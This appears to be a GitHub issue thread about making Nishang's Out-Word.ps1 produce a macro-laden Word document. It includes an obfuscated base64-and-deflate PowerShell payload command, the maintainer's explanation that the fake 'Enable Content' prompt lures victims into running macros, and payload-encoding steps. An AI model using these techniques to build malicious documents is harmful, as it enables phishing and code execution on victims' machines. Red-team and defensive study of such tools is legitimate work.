Out-word.ps1 error about nishang

[srihari-humbarwadi]

[samratashok]

Do you have MS Word installed on the machine where you are running the Out-Word script?

[srihari-humbarwadi]

Yes I have office 13

[samratashok]

Does Out-Excel throws a similar error?

[srihari-humbarwadi]

Reinstalling MS office solved the part. but when i open the word file nothing happens.
so i tried putting single quote then this happened
PS C:\Users\eMO\desktop> out-word -Payload " powershell.exe -noexit -c Invoke-Expression $(New-Object IO.StreamReader ($
(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''c08t0Q0oyk9OLS7
m5QIA'')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
At line:1 char:201

• ... Base64String(''c08t0Q0oyk9OLS7m5QIA'')))), [IO.Compression.CompressionMode]::Dec ...

•                ~
  

Missing ')' in method call.
At line:1 char:201

• ... Base64String(''c08t0Q0oyk9OLS7m5QIA'')))), [IO.Compression.CompressionMode]::Dec ...

•                ~~~~~~~~~~~~~~~~~~~~~~
  

Unexpected token 'c08t0Q0oyk9OLS7m5QIA''' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall

[srihari-humbarwadi]

Reinstalling MS office solved the part. but when i open the word file nothing happens.
so i tried putting single quote then this happened

PS C:\Users\eMO\desktop> out-word -Payload " powershell.exe -noexit -c Invoke-Expression $(New-object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''c08t0Q0oyk9OLS7m5QIA'')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

error in the pic

[srihari-humbarwadi]

[srihari-humbarwadi]

Microsoft Word 2010
This document was edited in a different version of Microsoft Word.
To load the document, please Enable Content

this is what i get when i dont include single quotes

[samratashok]

That is a trick to entice a user to enable Macros. The payload gets executed. Have a look at running processes you will see an additional powershell.exe process.

[srihari-humbarwadi]

my script which is 400 lines, when i try to encode it with invoke-encode it give me the same result for for
-outcommand and -postscriptcommand

. ./invoke-encoded.ps1
invoke-encode -DataToEncode main.ps1 -Outcommand

when i run this i get Output as PostScriptCommand
PS : Generated PostScriptCommand is valid. but i am not able to get the right form of output

Interesting thing is, small scripts work fine

[srihari-humbarwadi]